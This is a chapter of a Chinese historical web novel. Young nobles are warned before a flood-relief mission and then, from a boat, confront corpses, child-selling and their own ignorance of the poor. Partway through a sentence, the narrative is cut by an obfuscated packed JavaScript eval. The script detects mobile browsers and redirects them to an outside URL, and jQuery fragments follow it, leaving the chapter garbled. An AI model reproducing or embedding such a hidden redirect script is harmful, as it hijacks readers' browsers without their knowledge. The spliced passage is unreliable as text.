25. 看见

作品:《日月晦明

    黎民生灵涂炭,皇室若继续笙歌燕舞实在有违“民为邦本”之国策,没过多久夜宴便落了幕。临散前,颜舜英有意传了明颐、谢珩、裴谨三个孩子来自己寝殿内听训。


    颜舜英目光掠过跪在面前的三个孩子,无意识轻轻敲击着青瓷茶盏的指尖暴露了这位浸淫深宫多年的母亲心中的不安。


    谢珩明显染了几分醉意,领口歪斜,显然是刚被匆匆唤来,明颐和裴谨依着礼数垂首跪在几步外,看着倒像两只乖巧的小绵羊。


    一个明着犟,两个暗着倔,简直没一个让人省心的。


    颜舜英没时间铺垫,直接切入主题,“明日你们便要启程,阿珩,我要你记着三件事。”


    “母妃但说无妨。”


    “第一,护好你明妹妹;第二,遇事多看裴谨眼色;第三......”德妃顿了顿,神情愈发严肃,“切忌意气用事,与当地官员起冲突。”


    谢珩似是有些不服,梗着脖子争辩道,“母妃,前两点儿臣都认,但儿臣平日只是看不惯六哥行事做派,哪至于与官员起什么冲突。况且倘若地方官当真有错,儿臣读圣贤书十余载,正是要......”


    “正是要逞匹夫之勇?”颜舜英将茶盏重重一搁,起身上前几步,恨铁不成钢地看着跪在眼前的这个空有一腔热血却偏偏不长脑子的儿子。


    “山东十七县,连着几年不是旱灾就是洪灾,你以为治水的拨款进了谁的口袋里!陛下装看不见,连太子也得忍着,动不了刀子,这趟浑水是你区区一个无权皇子凭着几分冲动就蹚得起的?”


    “可儿臣有裴谨帮着,连父皇都说他有甘罗之才......”


    “正因如此你才更该警醒!”颜舜英发间的步摇在烛火下泛着泠泠的冷光,“陛下和太子都捋不清的事,却派一个无权无势无背景的小谨去管?”


    经德妃这样一点破,明颐和谢珩不免同时倒吸了一口凉气——裴谨若真查出什么来,鲁地那些盘根错节的世族势力岂能留他性命?


    谢珩终于沉默了,低下头去嗫嚅半天,才憋出一句“儿臣谨遵母妃教诲”来。


    “都起来吧,别跪着了。”颜舜英叹了口气,又重新坐回主座上,轻抿了口茶水。三个孩子各有心事地起身,德妃的目光又投向裴谨,眼底是化不开的忧色,“小谨,你是个知分寸的,一切以自己安危为先。”


    “娘娘放心,裴某定会照顾好自己,也看顾好七殿下和小颐。”裴谨从容地躬身一礼,明颐暗地里觉得,少年举手投足间,真蕴着几分甘罗游说张唐出使燕国的风范。


    裴谨和谢瑾,何尝不是另一种意义上的甘罗和扶苏?


    然而大秦终究还是落在了胡亥的手中。


    “你们三个互相照应着,小心谨慎,切莫与人冲突,宫外不比金陵,你们两个尤其要护好颐儿。”


    谢珩连忙给德妃打包票,“母妃放心,儿臣早就拿明妹妹当亲妹妹看了,定是怎么护着欢容,就怎么护着明妹妹的。”


    明颐一直觉得自己很幸运,自她进宫以来身边遇见的,都是顶顶好的人。


    翌日,几人便启程去往山东,因着明颐和易弦两个姑娘家都精于骑术,几人便先快马奔向渡口与太子汇合,再共同乘官船北上。


    行至鲁地境内,黄河水的腥气裹着腐尸的气味涌入船舱,谢珩和谢瑜两个金枝玉叶的贵公子早就趴在栏杆边吐了一回又一回,连易弦都捏紧了鼻子紧闭着眼坐在一旁,不敢往船下看。


    “这些贱民死了也不安生!臭水都要沾上本宫的靴子了!”谢瑜的咒骂声穿透舱壁,却没人有多余的力气搭理他。崔怀逸在他身旁低声劝解着什么,语气里满是疲惫。


    即使从小在边塞长大,身强体健如明颐,也只是强忍着胃里的翻江倒海。少女掀开珠帘一看,浑浊的黄河水正裹着泡胀的尸体拍打船舷,有些甚至已经辨别不出是牲畜还是人类。


    一群乌鸦忽然围上附近芦苇丛,明颐定睛一看,那里面竟是一个卡住的泡涨的婴尸,而那群乌鸦正啄食着那婴孩的小腿!


    她再也克制不住,扶住栏杆干呕起来,裴谨见状也起身走到栏杆旁,轻轻拍了拍小姑娘的后背,“别看了,小颐。”


    “裴谨,我从来没想过,真正看到灾情时,我的第一反应竟然是恶心。”明颐扶着栏杆转过身去,有些狼狈地看向身侧的少年,“我到底还是高估了自己,没设身处地经历过,又怎么可能真懂得百姓疾苦?”


    “圣人的道理明明说着众生平等,可凭什么我们一出生就锦衣玉食,而还有一些人只能整日为温饱而挣扎一生?”


    “裴谨,我想不明白,如果仅仅投胎就能决定人的一生,那么奋斗又有什么意义?”


    裴谨没有答话,只是望着浑浊的河面出身,沉默了许久,才以只有两个人能听见的声音答道,“所以,总需要有人站出来,为他们发声,试图对这世道做些什么。”


    “快看岸上!”


    忽然听得谢珩一声大喊,众人的目光齐齐投向岸边上,连易弦和崔怀逸也赶了过来。


    只见枯树下一个女娃的头顶插着草标,手腕系着麻绳,看上去只有七八岁的模样,身旁老妪正掰开她嘴唇向对方展示着牙口。更远处,还有白发老叟将襁褓中的婴儿放进木盆推入洪流,明颐看不清,但她知道那老者面上应是有浊泪落下。


    明颐忽然想起第一日去文华殿争论崔氏私渠时,自己对谢瑜和崔怀逸说,她听过关中粮价飞涨时,有老妪为斗米典了孙女。


    直到亲眼见到这惨状,她不由质疑起当时的自己,怎么做得到用那样平静的语气讲述出来。


    崔怀逸走到裴谨身旁,轻轻叹了口气,明颐竟在他的语气中听出了一种没缘由的苍凉来,“裴大人啊,你是第一次见,可这样的情状,我十二岁那年就在关中亲眼见过了。”


    所以他于心不忍,偷偷开了崔氏私仓放粮。


    所以他挨了好一顿家法,被崔氏族老送进吃人不吐骨头的毓金宫里给最纨绔的谢瑜当伴读。


    “他们.....连粥都喝不起了吗?”谢珩颤抖着声音问太子,指节发白,几乎要把栏杆捏碎。


    “是。”谢瑾眉头紧锁,答的干脆。


    “那何不号召其余百姓募捐,一家只出十两银子便可,举国同心,定是能凑出来的。”


    明颐没想到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133663|163171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,连谢珩都会说出这样的荒唐话来。这不就是摆在她眼前的“何不食肉糜”吗?这位七殿下知不知道,这十两银子是多少家庭一年乃至多年都挣不来的?


    “谢珩,你是不是疯了?”易弦毫不留情地开了口,“有多少百姓和这些难民一样,连粥都喝不起,到了卖儿卖女的地步,更别说拿出哪怕一两银子,你竟张口就问他们要十两?”


    “是本宫无知,不该信口胡言。”


    谢珩老老实实低了头,却没想到,易弦要说的还在后面——


    “若是道德败坏,单纯无耻到以剥削为乐,你尽可以仗着自己出身优渥看不起百姓,甚至可以厌恶他们,把他们当臭虫,当老鼠。”


    谢瑜总觉得易弦这话是在阴阳怪气自己,却又不好对号入座。


    “但你唯独不能看不见,不能当做他们不存在。”


    “谢珩,对于一个皇子而言,无知本身就已经成了一种恶意。换了谁都可以无知,而你不能。你和瑾哥哥都是权力结构最顶端的那群人,是规则和法律的制定者,你的一念之间,或许就会决定大荣无数黎民百姓的生死。”


    “皇上让你们来亲眼看一看,想必也是希望你们受些触动,最起码,要看得见他们。”


    易弦这样一席话,说得无论谢珩还是一旁听着的明颐,无不心服口服。她愈发钦佩易弦,不愧为传闻中文武双全的金陵第一才女,竟能有如此见地!


    “阿弦。”一直静静站在一旁的谢瑾忽然开了口,“我有几句话想说,不知你能不能愿意听。”


    易弦一愣,“瑾哥哥但说无妨。”


    “阿弦,你觉得阿珩是‘何不食肉糜’,但你细细想想,你认为阿珩本就该了解民生疾苦这件事,又何尝不是你的‘何不食肉糜’?”


    这话一出,在场所有人都愣了一下。


    听了这样犀利的话,易弦也不恼,思索了片刻后,看向谢瑾的眼神里几乎能绽出光来,“瑾哥哥,我好像懂了。”


    “一如穷苦百姓想象不出珍馐佳肴,他们不了解我们的生活,就像谢瑜和谢珩不了解他们的生活一样。自由长在宫里锦衣玉食、养尊处优,哪里见过灾民,想象得出底层百姓的生活状态?”


    “这是从小长到大的生活环境导致的,而并不全是珩表弟的错。”


    明颐深以为然。


    她不敢去想象,未来又会有多少皇子,在对底层人民的生活一无所知时就稀里糊涂地继位,又有多少宰相出身世家大族,一辈子都没见过真正的灾民,就胡乱定下了最终的赈灾之策?


    一道道高墙无情而残酷地隔开了政策的制定者和真正的黎民百姓,墙那边的百姓抱着饿死的婴孩日夜疾呼,墙这边的贵族仍旧纸醉金迷、夜夜笙歌。


    “阿弦向来如此聪慧。”谢瑾点了点头,毫不吝啬地称赞道。


    剩下的话,他没有明着说出来,但该懂得的人已经全部心意相通。


    他要改的从来不只是农具,更不仅仅是科举,而是整个朝堂生态,是千百年根深蒂固的世族制度。


    他要让能发声的人懂得该为谁发声,更要让那千千万万庶民的声音,能被真正地听见。